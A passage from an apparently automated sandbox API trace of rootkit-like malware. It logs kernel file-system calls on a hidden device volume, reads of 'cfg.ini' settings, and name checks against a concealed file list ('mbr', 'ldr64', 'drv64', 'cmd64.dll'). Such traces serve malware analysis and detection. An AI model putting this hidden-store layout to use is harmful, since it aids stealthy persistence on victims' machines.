0xfffffa8003bc4770 [0121.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] KeLeaveCriticalRegion () [0121.343] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.343] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.343] KeEnterCriticalRegion () [0121.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] KeLeaveCriticalRegion () [0121.343] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.343] KeEnterCriticalRegion () [0121.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.343] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.343] IdePortDispatch () returned 0x103 [0121.343] KeWaitForMutexObject () returned 0x0 [0121.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] KeLeaveCriticalRegion () [0121.343] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.343] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.343] KeEnterCriticalRegion () [0121.343] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.343] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0d000 [0121.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.343] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.343] IdePortDispatch () returned 0x103 [0121.344] KeWaitForMutexObject () returned 0x0 [0121.344] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.344] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.344] IdePortDispatch () returned 0x103 [0121.344] KeWaitForMutexObject () returned 0x0 [0121.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.344] KeLeaveCriticalRegion () [0121.344] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.345] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.345] KeEnterCriticalRegion () [0121.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] KeLeaveCriticalRegion () [0121.345] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.345] KeEnterCriticalRegion () [0121.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.345] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] KeLeaveCriticalRegion () [0121.345] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.345] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.345] KeEnterCriticalRegion () [0121.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] ExFreePoolWithTag (P=0xfffffa8003bc4770, Tag=0x0) [0121.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] KeLeaveCriticalRegion () [0121.345] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.345] ReleaseMutex (hMutex=0xf0) returned 1 [0121.345] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.345] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.345] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.345] KeEnterCriticalRegion () [0121.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.345] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.345] IdePortDispatch () returned 0x103 [0121.345] KeWaitForMutexObject () returned 0x0 [0121.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.346] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.346] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.346] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.346] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.346] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4380 [0121.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] KeLeaveCriticalRegion () [0121.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.346] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.346] KeEnterCriticalRegion () [0121.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] KeLeaveCriticalRegion () [0121.346] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.346] KeEnterCriticalRegion () [0121.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.346] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.346] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.346] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.346] IdePortDispatch () returned 0x103 [0121.346] KeWaitForMutexObject () returned 0x0 [0121.346] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] KeLeaveCriticalRegion () [0121.346] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.346] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.346] KeEnterCriticalRegion () [0121.346] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.346] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0e000 [0121.347] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.347] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.347] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.347] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.347] IdePortDispatch () returned 0x103 [0121.347] KeWaitForMutexObject () returned 0x0 [0121.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.348] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.348] IdePortDispatch () returned 0x103 [0121.348] KeWaitForMutexObject () returned 0x0 [0121.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.348] KeLeaveCriticalRegion () [0121.348] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.349] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.349] KeEnterCriticalRegion () [0121.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] KeLeaveCriticalRegion () [0121.349] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.349] KeEnterCriticalRegion () [0121.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] KeLeaveCriticalRegion () [0121.349] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.349] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.349] KeEnterCriticalRegion () [0121.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] ExFreePoolWithTag (P=0xfffffa8003bc4380, Tag=0x0) [0121.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] KeLeaveCriticalRegion () [0121.349] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.349] ReleaseMutex (hMutex=0xf0) returned 1 [0121.349] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.349] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.349] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.349] KeEnterCriticalRegion () [0121.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.349] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.349] IdePortDispatch () returned 0x103 [0121.349] KeWaitForMutexObject () returned 0x0 [0121.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.350] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.350] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.350] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.350] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.350] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] KeLeaveCriticalRegion () [0121.350] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.350] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.350] KeEnterCriticalRegion () [0121.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] KeLeaveCriticalRegion () [0121.350] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.350] KeEnterCriticalRegion () [0121.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.350] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.350] IdePortDispatch () returned 0x103 [0121.350] KeWaitForMutexObject () returned 0x0 [0121.350] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] KeLeaveCriticalRegion () [0121.350] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.350] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.350] KeEnterCriticalRegion () [0121.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.350] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0f000 [0121.350] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.350] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.350] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.351] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.351] IdePortDispatch () returned 0x103 [0121.351] KeWaitForMutexObject () returned 0x0 [0121.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.351] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.351] IdePortDispatch () returned 0x103 [0121.351] KeWaitForMutexObject () returned 0x0 [0121.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.351] KeLeaveCriticalRegion () [0121.351] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.351] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.352] KeEnterCriticalRegion () [0121.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] KeLeaveCriticalRegion () [0121.352] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.352] KeEnterCriticalRegion () [0121.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.352] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc38b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] KeLeaveCriticalRegion () [0121.352] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.352] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.352] KeEnterCriticalRegion () [0121.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] KeLeaveCriticalRegion () [0121.352] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.352] ReleaseMutex (hMutex=0xf0) returned 1 [0121.352] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.352] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.352] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.352] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.352] KeEnterCriticalRegion () [0121.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.352] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.352] IdePortDispatch () returned 0x103 [0121.352] KeWaitForMutexObject () returned 0x0 [0121.352] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.352] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.352] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.352] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.353] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.353] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.353] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.353] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.353] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.353] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.353] KeLeaveCriticalRegion () [0121.353] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.353] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.353] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.353] KeEnterCriticalRegion () [0121.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.353] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.353] IdePortDispatch () returned 0x103 [0121.353] KeWaitForMutexObject () returned 0x0 [0121.353] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.353] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.353] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.353] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.353] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.353] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.353] _strnicmp (_Str1="drv64", 